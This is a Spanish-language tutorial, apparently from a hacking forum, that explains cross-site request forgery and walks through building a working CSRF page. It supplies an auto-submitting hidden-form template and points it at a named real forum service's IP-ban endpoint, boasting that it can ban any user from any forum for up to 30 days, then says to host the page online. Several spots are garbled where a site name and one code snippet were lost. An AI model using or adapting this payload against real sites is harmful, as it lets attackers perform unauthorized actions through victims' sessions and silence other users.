Introducción:Un ataque CSRF fuerza al navegador web validado de una víctima a enviar una petición a una aplicación web vulnerable, la cual entonces realiza la acción elegida a través de la víctima. Al contrario que en los ataques XSS, los cuales explotan la confianza que un usuario tiene en un sitio en particular, el cross site request forgery (CSRF) explota la confianza que un sitio tiene en un usuario en particular.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Explicando:Lo primero es encontrar una web vulnerable a csrf, yo usare
[email protected] ya que esta plagada de ellos exactamente este formulario:
http://foros.miarroba.es/baneo_ip.php?id=2099129&do=newEse es el formulario que usare en el post, el csrf del ejemplo aplica el baneo de ip es decir puedes banear a cualquier usuario por ip un máximo de 30 días de cualquier foro
[email protected], recomiendo crear tu foro y probarlo desde ahí.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Lo primero para ayudar a entender el código mejor, y su posterior publicación recomiendo crearlo en
pastebin.comUna vez abierto pastebin copiamos esta estructura del csrf:
<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="modificar" method=post name="csrf1">
<input type="hidden" name="modificar" value="modificar">
<input type="hidden" name="modificar" value="modificar">
<input type="hidden" name="modificar" value="modificar">
<input type="hidden" name="modificar" value="modificar">
<body onload="envio_csrf()">
La web vulnerable ahí que ponerla en esta linea:
<form action="http://foros.miarroba.es/baneo_ip.php?id=2099129&do=new" method=post name="csrf1">
Ahora entramos al formulario en mi caso el de baneo, y en los ''textos'' donde escribes los datos inspeccionamos el elemento, y buscamos name="modificar" value="modificar" en el apartado modificar en cada web saldrá una palabra distinta, en mi caso es ip y motivo en los 2 textbox.


Ahora en la linea del csrf la modificamos y quedaría así:
<input type="hidden" name="ip" value="Aquí iría la ip que quisiéramos banear">
Y así sucesivamente con todos los textbox, en name el que te de el código fuente y en value lo que tu quieras que se ponga en el textbox
Y para finalizar el mas importante el de botón de continuar ya que sin eso, no se podría hacer que funcione, es lo mismo:
Inspeccionamos elemento del botón, y nos dará (en
[email protected]):

Con esos datos la parte del csrf quedaría (que seria la ultima linea):
<input type="hidden" name="boton_continuar" value="continuar">
Con eso terminaríamos el csrf, y solo quedaría guardarlo en php y subirlo en algún hosting.